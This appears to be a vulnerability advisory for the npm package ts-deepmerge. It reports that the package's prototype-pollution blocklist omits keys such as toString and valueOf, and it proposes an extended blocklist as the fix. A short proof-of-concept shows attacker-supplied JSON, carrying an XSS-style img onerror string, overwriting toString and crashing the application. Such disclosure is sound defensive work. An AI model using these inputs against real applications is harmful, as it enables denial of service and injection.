- Name: ts-deepmerge
- Version affected: <= 7.0.3
- npm: https://www.npmjs.com/package/ts-deepmerge
- Weekly downloads: ~870,000
The merge() function uses a blocklist to prevent prototype pollution:
if (["__proto__", "constructor", "prototype"].includes(key)) {
return;
}The blocklist does not include toString, valueOf, and other
built-in Object.prototype methods. When user-controlled input
contains these keys with non-function values, the resulting merged
object becomes broken — any string context operation throws a
TypeError, crashing the application.
const { merge } = require('ts-deepmerge');
// Attacker-controlled input (e.g. from JSON.parse of user input)
const userInput = JSON.parse('{"toString": "<img src=x onerror=alert(1)>"}');
const config = { title: 'Hello', theme: 'dark' };
const result = merge(config, userInput);
console.log(typeof result.toString); // 'string' — no longer a function
// All of the following crash the application:
`${result}` // TypeError: Cannot convert object to primitive value
'' + result // TypeError: Cannot convert object to primitive value
[result].join() // TypeError: Cannot convert object to primitive value- Node.js: v20.19.2
- ts-deepmerge: 7.0.3
- OS: Linux
Any application that:
- Merges user-supplied JSON/object data with
merge() - Subsequently uses the result in a string context (logging, template literals, array operations, etc.)
...will crash with an unhandled TypeError.
PR #40 (pending merge): voodoocreation/ts-deepmerge#40
Extended blocklist:
const UNSAFE_KEYS = new Set([
"__proto__", "constructor", "prototype",
"toString", "valueOf", "hasOwnProperty",
"isPrototypeOf", "propertyIsEnumerable", "toLocaleString",
]);CWE-1321: Improperly Controlled Modification of Object Prototype Attributes